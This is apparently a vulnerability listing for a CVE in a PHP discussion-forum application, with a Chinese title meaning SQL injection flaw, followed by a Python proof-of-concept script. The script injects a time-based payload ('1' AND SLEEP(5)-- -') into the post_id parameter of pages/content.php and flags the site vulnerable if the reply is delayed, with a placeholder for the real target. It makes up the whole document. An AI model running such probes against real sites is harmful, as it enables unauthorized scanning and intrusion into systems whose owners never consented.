CVE-2026-5829 Simple IT Discussion Forum SQL注入漏洞

import requests def verify_sqli(target_url): """Simple PoC to check for SQL Injection in post_id parameter""" # Payload tries to cause a time delay or specific error # Example payload for MySQL payload = "1' AND SLEEP(5)-- -" full_url = f"{target_url}/pages/content.php" params = { "post_id": payload } try: response = requests.get(full_url, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: return "Vulnerable to Time-Based SQL Injection" else: return "Check response content manually for potential UNION based injection" except Exception as e: return str(e) if __name__ == "__main__": target = "http://example.com" # Replace with actual target print(verify_sqli(target))